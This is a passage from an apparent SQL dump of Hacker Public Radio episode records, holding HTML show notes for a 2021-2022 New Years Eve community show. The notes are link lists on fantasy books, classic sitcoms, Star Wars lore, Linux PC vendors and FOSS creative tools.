class=\"uri\">https://en.wikipedia.org/wiki/The_Book_of_Boba_Fett</a></p>\n<p><a href=\"https://www.starwars.com/series/the-book-of-boba-fett\" class=\"uri\">https://www.starwars.com/series/the-book-of-boba-fett</a></p>\n<p>Father Ted</p>\n<p><a href=\"https://www.imdb.com/title/tt0111958/\" class=\"uri\">https://www.imdb.com/title/tt0111958/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Father_Ted\" class=\"uri\">https://en.wikipedia.org/wiki/Father_Ted</a></p>\n<p>Gary Gygax - Creator of Dungeons &amp; Dragons</p>\n<p><a href=\"https://dungeons.fandom.com/wiki/Gary_Gygax\" class=\"uri\">https://dungeons.fandom.com/wiki/Gary_Gygax</a></p>\n<p><a href=\"https://www.wired.com/2008/03/dungeon-master-life-legacy-gary-gygax/\" class=\"uri\">https://www.wired.com/2008/03/dungeon-master-life-legacy-gary-gygax/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Gary_Gygax\" class=\"uri\">https://en.wikipedia.org/wiki/Gary_Gygax</a></p>\n<p>Tolkien, The Hobbit, Lord Of The Rings</p>\n<p><a href=\"https://www.tolkiensociety.org/author/biography/\" class=\"uri\">https://www.tolkiensociety.org/author/biography/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/J._R._R._Tolkien\" class=\"uri\">https://en.wikipedia.org/wiki/J._R._R._Tolkien</a></p>\n<p><a href=\"http://tolkiengateway.net/wiki/The_Hobbit\" class=\"uri\">http://tolkiengateway.net/wiki/The_Hobbit</a></p>\n<p><a href=\"http://tolkiengateway.net/wiki/Lord_of_the_rings\" class=\"uri\">http://tolkiengateway.net/wiki/Lord_of_the_rings</a></p>\n<p>The Wheel Of Times (Book series and TV show)</p>\n<p><a href=\"https://stoneblackfiction.com/2020/07/26/book-review-the-wheel-of-time-a-complete-series-review/\" class=\"uri\">https://stoneblackfiction.com/2020/07/26/book-review-the-wheel-of-time-a-complete-series-review/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Wheel_of_Time\" class=\"uri\">https://en.wikipedia.org/wiki/The_Wheel_of_Time</a></p>\n<p><a href=\"https://www.imdb.com/title/tt7462410/\" class=\"uri\">https://www.imdb.com/title/tt7462410/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Wheel_of_Time_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Wheel_of_Time_(TV_series)</a></p>\n<p>Good Omens TV Show</p>\n<p><a href=\"https://www.imdb.com/title/tt1869454/\" class=\"uri\">https://www.imdb.com/title/tt1869454/</a></p>\n<p>Colour Of Magic - TV &amp; Book</p>\n<p><a href=\"https://www.imdb.com/title/tt1869454/\" class=\"uri\">https://www.imdb.com/title/tt1869454/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Colour_of_Magic\" class=\"uri\">https://en.wikipedia.org/wiki/The_Colour_of_Magic</a></p>\n<p><a href=\"https://www.imdb.com/title/tt1079959/\" class=\"uri\">https://www.imdb.com/title/tt1079959/</a></p>\n<p>Star Labs - UK Linux friendly PC reseller</p>\n<p><a href=\"https://us.starlabs.systems/\" class=\"uri\">https://us.starlabs.systems/</a></p>\n<p>Dell XPS 13 Developer Edition</p>\n<p><a href=\"https://www.engadget.com/dells-xps-13-plus-developer-edition-is-the-first-laptop-certified-for-ubuntu-2204-lts-082022945.html\" class=\"uri\">https://www.engadget.com/dells-xps-13-plus-developer-edition-is-the-first-laptop-certified-for-ubuntu-2204-lts-082022945.html</a></p>\n<p>Juno Is A Roman Goddess</p>\n<p><a href=\"https://mythopedia.com/topics/juno\" class=\"uri\">https://mythopedia.com/topics/juno</a></p>\n<p>Juno Computers - UK/ USA - more Linux PCs for sale</p>\n<p><a href=\"https://junocomputers.com/uk/\" class=\"uri\">https://junocomputers.com/uk/</a></p>\n<p>Juno Is Also a Moon of Jupiter</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Moons_of_Jupiter\" class=\"uri\">https://en.wikipedia.org/wiki/Moons_of_Jupiter</a></p>\n<p>Tuxedo Computers - German Linux PC Reseller</p>\n<p><a href=\"https://www.tuxedocomputers.com/\" class=\"uri\">https://www.tuxedocomputers.com/</a></p>\n<p>Arthur C Clarke\'s three laws - Any sufficiently advanced technology is indistinguishable from magic</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Clarke%27s_three_laws\" class=\"uri\">https://en.wikipedia.org/wiki/Clarke%27s_three_laws</a></p>\n<p>Axe of The Dwarvish Lords - Dungeons &amp; Dragons Axe That Turns Wielder Into a Dwarf</p>\n<p><a href=\"http://dnd5e.wikidot.com/wondrous-items:axe-of-the-dwarvish-lords\" class=\"uri\">http://dnd5e.wikidot.com/wondrous-items:axe-of-the-dwarvish-lords</a></p>\n<p>Fire Sign Theater</p>\n<p><a href=\"https://wfmu.org/playlists/FT\" class=\"uri\">https://wfmu.org/playlists/FT</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Firesign_Theatre\" class=\"uri\">https://en.wikipedia.org/wiki/The_Firesign_Theatre</a></p>\n<p><a href=\"https://en.wikibooks.org/wiki/Write_Yourself_a_Scheme_in_48_Hours\" class=\"uri\">https://en.wikibooks.org/wiki/Write_Yourself_a_Scheme_in_48_Hours</a></p>\n<p>Magic The Gathering</p>\n<p><a href=\"https://magic.wizards.com/en\" class=\"uri\">https://magic.wizards.com/en</a></p>\n<p>(in reference to Jim Butcher, the Dresden Files series): Joe, Wikipedia now says that there are to be 22 books followed by a \"big apocalyptic trilogy\"<br />\n[22:28:36] (Channel) Moss: <a href=\"https://deadline.com/2018/10/the-dresden-files-fantasy-novels-optioned-fox21-tv-studios-series-development-1202476632/\" class=\"uri\">https://deadline.com/2018/10/the-dresden-files-fantasy-novels-optioned-fox21-tv-studios-series-development-1202476632/</a></p>\n<p>Lively discussion of speculative fiction and worldbuilding - RIP Terry Pratchett</p>\n<p><a href=\"https://jerryjenkins.com/worldbuilding/\" class=\"uri\">https://jerryjenkins.com/worldbuilding/</a></p>\n<p><a href=\"https://writersedit.com/fiction-writing/the-ultimate-guide-to-world-building-how-to-write-fantasy-sci-fi-and-real-life-worlds/\" class=\"uri\">https://writersedit.com/fiction-writing/the-ultimate-guide-to-world-building-how-to-write-fantasy-sci-fi-and-real-life-worlds/</a></p>\n<p><a href=\"https://www.reddit.com/r/worldbuilding/\" class=\"uri\">https://www.reddit.com/r/worldbuilding/</a></p>\n<p>Discussed a current creative project of Ken Fallon at length - discussed the importance of using FOSS for longevity of creative projects to avoid getting locked out by proprietary file formats.</p>\n<p>Ken uses paper + Google Docs... reminded of the Google Graveyard : Google Graveyard - <a href=\"https://killedbygoogle.com/\" class=\"uri\">https://killedbygoogle.com/</a></p>\n<p>Game Of Thrones Books</p>\n<p><a href=\"https://en.wikipedia.org/wiki/A_Song_of_Ice_and_Fire\" class=\"uri\">https://en.wikipedia.org/wiki/A_Song_of_Ice_and_Fire</a></p>\n<p>Considerations for storytelling :</p>\n<p>The Writer\'s Journey - <a href=\"https://en.wikipedia.org/wiki/The_Writer%27s_Journey:_Mythic_Structure_for_Writers\" class=\"uri\">https://en.wikipedia.org/wiki/The_Writer%27s_Journey:_Mythic_Structure_for_Writers</a></p>\n<p>The Seven Basic Plots - <a href=\"https://en.wikipedia.org/wiki/The_Seven_Basic_Plots\" class=\"uri\">https://en.wikipedia.org/wiki/The_Seven_Basic_Plots</a></p>\n<p>The Hero\'s Journey - <a href=\"https://en.wikipedia.org/wiki/Hero%27s_journey\" class=\"uri\">https://en.wikipedia.org/wiki/Hero%27s_journey</a></p>\n<p>Also, not enough people draw upon the 100 Year\'s War or Italian city-states period for inspiration - which is the secret sauce for Game of Thrones</p>\n<p>Linked notes, for building webs of information. Crossplaftorm, Linux, Mac, Windows</p>\n<p>Should try worldbuilding with FOSS :</p>\n<p>Spotiflyer on F-Droid</p>\n<p><a href=\"https://f-droid.org/packages/com.shabinder.spotiflyer/\" class=\"uri\">https://f-droid.org/packages/com.shabinder.spotiflyer/</a></p>\n<p>Youtube-DL</p>\n<p><a href=\"https://youtube-dl.org/\" class=\"uri\">https://youtube-dl.org/</a></p>\n<p>Mailspring</p>\n<p><a href=\"https://getmailspring.com/\" class=\"uri\">https://getmailspring.com/</a></p>\n<p>Obsdian - <a href=\"https://obsidian.md/\" class=\"uri\">https://obsidian.md/</a><br />\nLogseq - <a href=\"https://logseq.com/\" class=\"uri\">https://logseq.com/</a><br />\nZettlr - <a href=\"https://www.zettlr.com/download\" class=\"uri\">https://www.zettlr.com/download</a></p>\n<p>Writing :</p>\n<p>Libre Office - <a href=\"https://www.libreoffice.org/\" class=\"uri\">https://www.libreoffice.org/</a></p>\n<p>Art :<br />\nGIMP - <a href=\"https://www.gimp.org/\" class=\"uri\">https://www.gimp.org/</a><br />\nKrita - <a href=\"https://krita.org/en/\" class=\"uri\">https://krita.org/en/</a><br />\n</p>\n<p>Good Evernote alternative :</p>\n<p>Joplin - <a href=\"https://joplinapp.org\" class=\"uri\">https://joplinapp.org</a></p>\n<p>Glimpse - failed politically motivated GIMP fork - <a href=\"https://news.itsfoss.com/glimpse-gimp-fork-archived/\" class=\"uri\">https://news.itsfoss.com/glimpse-gimp-fork-archived/</a></p>\n<p>The current favourite Audacity alternative - <a href=\"https://tenacityaudio.org/\" class=\"uri\">https://tenacityaudio.org/</a></p>\n<p>Youtube Removes Dislikes</p>\n<p><a href=\"https://techcrunch.com/2021/11/10/youtube-is-removing-the-dislike-count-on-all-videos-across-its-platform/\" class=\"uri\">https://techcrunch.com/2021/11/10/youtube-is-removing-the-dislike-count-on-all-videos-across-its-platform/</a></p>\n<p><a href=\"https://www.premiumbeat.com/blog/youtube-removes-dislike-count/\" class=\"uri\">https://www.premiumbeat.com/blog/youtube-removes-dislike-count/</a></p>\n<p>If Terry Pratchett wrote 42 books, the universe would explode</p>\n<p><a href=\"https://www.terrypratchettbooks.com/\" class=\"uri\">https://www.terrypratchettbooks.com/</a></p>\n<p>Terry Goodkind - Sword of Truth - don\'t go past the second book</p>\n<p><a href=\"https://www.terrygoodkind.com/\" class=\"uri\">https://www.terrygoodkind.com/</a></p>\n<p>Orson Scott Card Offical Website</p>\n<p><a href=\"http://www.hatrack.com/\" class=\"uri\">http://www.hatrack.com/</a></p>\n<p>Orson Scott Card Interview With WIred Magazine - Ender\'s Game</p>\n<p><a href=\"https://www.wired.com/2013/10/cardqa/\" class=\"uri\">https://www.wired.com/2013/10/cardqa/</a></p>\n<p>Ender\'s Game as well - don\'t go past the second book</p>\n<p>Ender\'s Shadow</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Ender%27s_Shadow\" class=\"uri\">https://en.wikipedia.org/wiki/Ender%27s_Shadow</a></p>\n<p>Alvin Maker</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Tales_of_Alvin_Maker\" class=\"uri\">https://en.wikipedia.org/wiki/The_Tales_of_Alvin_Maker</a></p>\n<p>Lost Gate, Gate Thief, and Gatefather - part of Mither Mages trilogy by Orson Scott Card</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Lost_Gate\" class=\"uri\">https://en.wikipedia.org/wiki/The_Lost_Gate</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Gate_Thief\" class=\"uri\">https://en.wikipedia.org/wiki/The_Gate_Thief</a></p>\n<p>Artemis Fowl</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Artemis_Fowl\" class=\"uri\">https://en.wikipedia.org/wiki/Artemis_Fowl</a></p>\n<p>Cadfael Chronicles</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Cadfael_Chronicles\" class=\"uri\">https://en.wikipedia.org/wiki/The_Cadfael_Chronicles</a></p>\n<p>The Hunger Games</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Hunger_Games\" class=\"uri\">https://en.wikipedia.org/wiki/The_Hunger_Games</a></p>\n<p><a href=\"https://www.imdb.com/title/tt1392170/\" class=\"uri\">https://www.imdb.com/title/tt1392170/</a> (movie)</p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Hunger_Games_(film)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Hunger_Games_(film)</a></p>\n<p><a href=\"https://www.lionsgate.com/franchises/the-hunger-games\" class=\"uri\">https://www.lionsgate.com/franchises/the-hunger-games</a></p>\n<p><a href=\"https://brantsteele.net/hungergames/disclaimer.php\" class=\"uri\">https://brantsteele.net/hungergames/disclaimer.php</a> - The Hunger Games Simulator</p>\n<p>Twilight is garbage?</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Twilight_(novel_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Twilight_(novel_series)</a></p>\n<p><a href=\"https://www.imdb.com/title/tt1099212/\" class=\"uri\">https://www.imdb.com/title/tt1099212/</a></p>\n<p><a href=\"https://www.reddit.com/r/twilight/comments/gq7uil/why_does_everyone_think_twilight_is_so_bad_a_rant/\" class=\"uri\">https://www.reddit.com/r/twilight/comments/gq7uil/why_does_everyone_think_twilight_is_so_bad_a_rant/</a> - thoughts from Reddit</p>\n<p><a href=\"https://www.cinemablend.com/news/2570595/the-twilight-books-vs-movies-major-differences-from-stephenie-meyers-novels-and-the-films\" class=\"uri\">https://www.cinemablend.com/news/2570595/the-twilight-books-vs-movies-major-differences-from-stephenie-meyers-novels-and-the-films</a> (How the books and movies differ)</p>\n<p>Jar Jar Binks is a Sith Lord aka The Darth Jar Theory</p>\n<p>theory goes that by prolonging the Clone Wars and helping Doku escape, he enabled the Empire to continue. Also, Palpatine was helped into power by his machinations.</p>\n<p><a href=\"https://insidethemagic.net/2021/10/jar-jar-binks-sith-al1/\" class=\"uri\">https://insidethemagic.net/2021/10/jar-jar-binks-sith-al1/</a></p>\n<p><a href=\"https://screenrant.com/star-wars-details-prove-darth-jar-jar-theory/\" class=\"uri\">https://screenrant.com/star-wars-details-prove-darth-jar-jar-theory/</a></p>\n<p><a href=\"https://swfanon.fandom.com/wiki/Darth_Jar_Jar_(Beethoven4ever)\" class=\"uri\">https://swfanon.fandom.com/wiki/Darth_Jar_Jar_(Beethoven4ever)</a></p>\n<p><a href=\"https://www.cbr.com/star-wars-darth-jar-jar-theories-benefit-hated-character/\" class=\"uri\">https://www.cbr.com/star-wars-darth-jar-jar-theories-benefit-hated-character/</a></p>\n<p>Star Wars Droids</p>\n<p><a href=\"https://starwars.fandom.com/wiki/Star_Wars:_Droids:_The_Adventures_of_R2-D2_and_C-3PO\" class=\"uri\">https://starwars.fandom.com/wiki/Star_Wars:_Droids:_The_Adventures_of_R2-D2_and_C-3PO</a></p>\n<p><a href=\"https://www.imdb.com/title/tt0088510/\" class=\"uri\">https://www.imdb.com/title/tt0088510/</a></p>\n<p><a href=\"https://youtu.be/ygr8wsqrhtI\" class=\"uri\">https://youtu.be/ygr8wsqrhtI</a></p>\n<p>Star Wars Holiday Special</p>\n<p><a href=\"https://www.starwarsholidayspecial.com/\" class=\"uri\">https://www.starwarsholidayspecial.com/</a></p>\n<p><a href=\"https://www.imdb.com/title/tt0193524/\" class=\"uri\">https://www.imdb.com/title/tt0193524/</a></p>\n<p><a href=\"https://youtu.be/6hH8rxarVG8\" class=\"uri\">https://youtu.be/6hH8rxarVG8</a></p>\n<p>Yuuzhan Vong</p>\n<p><a href=\"https://starwars.fandom.com/wiki/Yuuzhan_Vong\" class=\"uri\">https://starwars.fandom.com/wiki/Yuuzhan_Vong</a></p>\n<p>Chiss</p>\n<p><a href=\"https://starwars.fandom.com/wiki/Chiss/Legends\" class=\"uri\">https://starwars.fandom.com/wiki/Chiss/Legends</a></p>\n<p>Joker (movie)</p>\n<p><a href=\"https://www.imdb.com/title/tt7286456/\" class=\"uri\">https://www.imdb.com/title/tt7286456/</a></p>\n<p>Also Heath Ledger is the best Joker ever says Honkey Magoo</p>\n<p>Star Wars - The First Order</p>\n<p><a href=\"https://starwars.fandom.com/wiki/First_Order\" class=\"uri\">https://starwars.fandom.com/wiki/First_Order</a></p>\n<p>Jedi Praxeum aka Jedi School</p>\n<p><a href=\"https://starwars.fandom.com/wiki/Jedi_Praxeum\" class=\"uri\">https://starwars.fandom.com/wiki/Jedi_Praxeum</a></p>\n<p>Marvel Multiverse</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Multiverse_(Marvel_Comics)\" class=\"uri\">https://en.wikipedia.org/wiki/Multiverse_(Marvel_Comics)</a></p>\n<p>The Simpsons</p>\n<p><a href=\"https://simpsons.fandom.com/wiki/Simpsons_Wiki\" class=\"uri\">https://simpsons.fandom.com/wiki/Simpsons_Wiki</a></p>\n<p>The Simpsons Predictions</p>\n<p><a href=\"https://www.joe.co.uk/entertainment/the-definitive-list-of-everything-the-simpsons-predicted-that-shockingly-came-true-305627\" class=\"uri\">https://www.joe.co.uk/entertainment/the-definitive-list-of-everything-the-simpsons-predicted-that-shockingly-came-true-305627</a></p>\n<p><a href=\"https://collider.com/predictions-the-simpsons-came-true/\" class=\"uri\">https://collider.com/predictions-the-simpsons-came-true/</a></p>\n<p>South Park</p>\n<p><a href=\"https://southpark.cc.com/\" class=\"uri\">https://southpark.cc.com/</a></p>\n<p>Dick Van Dyke Show</p>\n<p><a href=\"https://www.imdb.com/title/tt0054533/\" class=\"uri\">https://www.imdb.com/title/tt0054533/</a></p>\n<p><a href=\"https://www.metv.com/shows/the-dick-van-dyke-show\" class=\"uri\">https://www.metv.com/shows/the-dick-van-dyke-show</a></p>\n<p><a href=\"https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/dick-van-dyke-show/\" class=\"uri\">https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/dick-van-dyke-show/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Dick_Van_Dyke_Show\" class=\"uri\">https://en.wikipedia.org/wiki/The_Dick_Van_Dyke_Show</a></p>\n<p>Mary Tyler Moore Show</p>\n<p><a href=\"https://www.imdb.com/title/tt0065314/\" class=\"uri\">https://www.imdb.com/title/tt0065314/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Mary_Tyler_Moore_Show\" class=\"uri\">https://en.wikipedia.org/wiki/The_Mary_Tyler_Moore_Show</a></p>\n<p><a href=\"https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1970s/mary-tyler-moore-show/\" class=\"uri\">https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1970s/mary-tyler-moore-show/</a></p>\n<p>Bewitched</p>\n<p><a href=\"https://www.imdb.com/title/tt0057733/\" class=\"uri\">https://www.imdb.com/title/tt0057733/</a></p>\n<p><a href=\"https://tubitv.com/series/300006608/bewitched\" class=\"uri\">https://tubitv.com/series/300006608/bewitched</a></p>\n<p><a href=\"https://nostalgiacentral.com/?s=bewitched\" class=\"uri\">https://nostalgiacentral.com/?s=bewitched</a></p>\n<p><a href=\"https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/bewitched-2/\" class=\"uri\">https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/bewitched-2/</a></p>\n<p>McHale\'s Navy</p>\n<p><a href=\"https://www.imdb.com/title/tt0055689/\" class=\"uri\">https://www.imdb.com/title/tt0055689/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/McHale%27s_Navy\" class=\"uri\">https://en.wikipedia.org/wiki/McHale%27s_Navy</a></p>\n<p><a href=\"https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/mchales-navy/\" class=\"uri\">https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/mchales-navy/</a></p>\n<p>F Troop</p>\n<p><a href=\"https://www.imdb.com/title/tt0058800/\" class=\"uri\">https://www.imdb.com/title/tt0058800/</a></p>\n<p><a href=\"https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/f-troop/\" class=\"uri\">https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/f-troop/</a></p>\n<p>Hogan\'s Heroes</p>\n<p><a href=\"https://hogansheroes.fandom.com/wiki/Hogan%27s_Heroes\" class=\"uri\">https://hogansheroes.fandom.com/wiki/Hogan%27s_Heroes</a></p>\n<p><a href=\"https://www.imdb.com/title/tt0058812/\" class=\"uri\">https://www.imdb.com/title/tt0058812/</a></p>\n<p><a href=\"https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/hogans-heroes/\" class=\"uri\">https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1960s/hogans-heroes/</a></p>\n<p>Phil Silver\'s Show</p>\n<p><a href=\"https://www.imdb.com/title/tt0047763/\" class=\"uri\">https://www.imdb.com/title/tt0047763/</a></p>\n<p><a href=\"https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1950s/phil-silvers-show/\" class=\"uri\">https://nostalgiacentral.com/television/tv-by-decade/tv-shows-1950s/phil-silvers-show/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Phil_Silvers_Show\" class=\"uri\">https://en.wikipedia.org/wiki/The_Phil_Silvers_Show</a></p>\n<p>Sgt. Bilko (movie with Steve Martin)</p>\n<p><a href=\"https://www.imdb.com/title/tt0117608/\" class=\"uri\">https://www.imdb.com/title/tt0117608/</a></p>\n<p>Adam Sandler</p>\n<p><a href=\"https://www.imdb.com/name/nm0001191/\" class=\"uri\">https://www.imdb.com/name/nm0001191/</a></p>\n<p>Brooklyn 99</p>\n<p><a href=\"https://www.imdb.com/title/tt2467372/\" class=\"uri\">https://www.imdb.com/title/tt2467372/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Brooklyn_Nine-Nine\" class=\"uri\">https://en.wikipedia.org/wiki/Brooklyn_Nine-Nine</a></p>\n<p>Idiocracy</p>\n<p><a href=\"https://www.imdb.com/title/tt0387808/\" class=\"uri\">https://www.imdb.com/title/tt0387808/</a></p>\n<p><a href=\"https://archive.org/details/Idiocracy_201507\" class=\"uri\">https://archive.org/details/Idiocracy_201507</a></p>\n<p>Blazing Saddles</p>\n<p><a href=\"https://www.imdb.com/title/tt0071230/\" class=\"uri\">https://www.imdb.com/title/tt0071230/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Blazing_Saddles\" class=\"uri\">https://en.wikipedia.org/wiki/Blazing_Saddles</a></p>\n<p><a href=\"https://www.rollingstone.com/tv-movies/tv-movie-features/mel-brooks-why-blazing-saddles-is-the-funniest-movie-ever-made-252004/\" class=\"uri\">https://www.rollingstone.com/tv-movies/tv-movie-features/mel-brooks-why-blazing-saddles-is-the-funniest-movie-ever-made-252004/</a></p>\n<p>Young Frankenstein</p>\n<p><a href=\"https://www.imdb.com/title/tt0072431/\" class=\"uri\">https://www.imdb.com/title/tt0072431/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Young_Frankenstein\" class=\"uri\">https://en.wikipedia.org/wiki/Young_Frankenstein</a></p>\n<p><a href=\"https://www.cinemablend.com/news/2573686/young-frankenstein-behind-the-scenes-facts-about-the-mel-brooks-movie\" class=\"uri\">https://www.cinemablend.com/news/2573686/young-frankenstein-behind-the-scenes-facts-about-the-mel-brooks-movie</a></p>\n<p>Silent Movie</p>\n<p><a href=\"https://www.imdb.com/title/tt0075222/\" class=\"uri\">https://www.imdb.com/title/tt0075222/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Silent_Movie\" class=\"uri\">https://en.wikipedia.org/wiki/Silent_Movie</a></p>\n<p>High Anxiety</p>\n<p><a href=\"https://www.imdb.com/title/tt0076141/\" class=\"uri\">https://www.imdb.com/title/tt0076141/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/High_Anxiety\" class=\"uri\">https://en.wikipedia.org/wiki/High_Anxiety</a></p>\n<p>Spaceballs</p>\n<p><a href=\"https://www.imdb.com/title/tt0094012/\" class=\"uri\">https://www.imdb.com/title/tt0094012/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Spaceballs\" class=\"uri\">https://en.wikipedia.org/wiki/Spaceballs</a></p>\n<p>Robin Hood : Men In Tights</p>\n<p><a href=\"https://www.imdb.com/title/tt0107977/\" class=\"uri\">https://www.imdb.com/title/tt0107977/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Robin_Hood:_Men_in_Tights\" class=\"uri\">https://en.wikipedia.org/wiki/Robin_Hood:_Men_in_Tights</a></p>\n<p>Robin Hood Prince Of Thieves</p>\n<p><a href=\"https://www.imdb.com/title/tt0102798/\" class=\"uri\">https://www.imdb.com/title/tt0102798/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Robin_Hood:_Prince_of_Thieves\" class=\"uri\">https://en.wikipedia.org/wiki/Robin_Hood:_Prince_of_Thieves</a></p>\n<p>Princess Bride</p>\n<p><a href=\"https://www.imdb.com/title/tt0093779/\" class=\"uri\">https://www.imdb.com/title/tt0093779/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/The_Princess_Bride_(film)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Princess_Bride_(film)</a></p>\n<p>Mawg (Spaceballs)</p>\n<p><a href=\"https://spaceballs.fandom.com/wiki/Barf\" class=\"uri\">https://spaceballs.fandom.com/wiki/Barf</a></p>\n',159,121,1,'CC-BY-SA','HPR, New Years, Talking',0,0,1),
(3682,'2022-09-13','2021-2022 New Years Show Part 5',11161,'The HPR community comes together to chat','<h2 id=\"hacker-public-radio-new-years-eve-show-2021---2022\">Hacker Public Radio New Years Eve Show 2021 - 2022</h2>\r\n<h3 id=\"part-5\">Part 5</h3>\r\n<p>What is a Recliner Chair</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Recliner\" class=\"uri\">https://en.wikipedia.org/wiki/Recliner</a></p>\r\n<p>Shillelagh</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Shillelagh\" class=\"uri\">https://en.wikipedia.org/wiki/Shillelagh</a></p>\r\n<p>Goedendag</p>\r\n<p><a href=\"https://www.military-history.org/feature/medieval/the-goedendag-medieval-weaponry.htm\" class=\"uri\">https://www.military-history.org/feature/medieval/the-goedendag-medieval-weaponry.htm</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Goedendag\" class=\"uri\">https://en.wikipedia.org/wiki/Goedendag</a></p>\r\n<p>Flail</p>\r\n<p><a href=\"https://medievalbritain.com/type/medieval-life/weapons/medieval-flail/\" class=\"uri\">https://medievalbritain.com/type/medieval-life/weapons/medieval-flail/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Flail_(weapon)\" class=\"uri\">https://en.wikipedia.org/wiki/Flail_(weapon)</a></p>\r\n<p><a href=\"http://myarmoury.com/talk/viewtopic.12645.html\" class=\"uri\">http://myarmoury.com/talk/viewtopic.12645.html</a></p>\r\n<p>That \'70s Show</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0165598/\" class=\"uri\">https://www.imdb.com/title/tt0165598/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/That_%2770s_Show\" class=\"uri\">https://en.wikipedia.org/wiki/That_%2770s_Show</a></p>\r\n<p>Tommy Chong</p>\r\n<p><a href=\"https://tommychong.com/\" class=\"uri\">https://tommychong.com/</a></p>\r\n<p><a href=\"https://www.imdb.com/name/nm0001045/\" class=\"uri\">https://www.imdb.com/name/nm0001045/</a></p>\r\n<p>That \'80s Show</p>\r\n<p><a href=\"https://www.imdb.com/title/tt0305472/\" class=\"uri\">https://www.imdb.com/title/tt0305472/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/That_%2780s_Show\" class=\"uri\">https://en.wikipedia.org/wiki/That_%2780s_Show</a></p>\r\n<p>The Goldbergs</p>\r\n<p><a href=\"https://www.imdb.com/title/tt2712740/\" class=\"uri\">https://www.imdb.com/title/tt2712740/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Goldbergs_(2013_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Goldbergs_(2013_TV_series)</a></p>\r\n<p>Leverage - Redemption</p>\r\n<p><a href=\"https://www.imdb.com/title/tt12197698/\" class=\"uri\">https://www.imdb.com/title/tt12197698/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Leverage:_Redemption\" class=\"uri\">https://en.wikipedia.org/wiki/Leverage:_Redemption</a></p>\r\n<p>The Librarians</p>\r\n<p><a href=\"https://www.imdb.com/title/tt3663490/\" class=\"uri\">https://www.imdb.com/title/tt3663490/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Librarians_(2014_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Librarians_(2014_TV_series)</a></p>\r\n<p>Warehouse 13</p>\r\n<p><a href=\"https://warehouse13.fandom.com/wiki/Warehouse_13_(Series)\" class=\"uri\">https://warehouse13.fandom.com/wiki/Warehouse_13_(Series)</a></p>\r\n<p><a href=\"https://www.imdb.com/title/tt1132290/\" class=\"uri\">https://www.imdb.com/title/tt1132290/</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Warehouse_13\" class=\"uri\">https://en.wikipedia.org/wiki/Warehouse_13</a></p>\r\n<p>The Librarian (TV Movies)</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Librarian_(franchise)\" class=\"uri\">https://en.wikipedia.org/wiki/The_Librarian_(franchise)</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Librarian:_Quest_for_the_Spear\" class=\"uri\">https://en.wikipedia.org/wiki/The_Librarian:_Quest_for_the_Spear</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Librarian:_Return_to_King_Solomon%27s_Mines\" class=\"uri\">https://en.wikipedia.org/wiki/The_Librarian:_Return_to_King_Solomon%27s_Mines</a></p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/The_Librarian:_Curse_of_the_Judas_Chalice\" 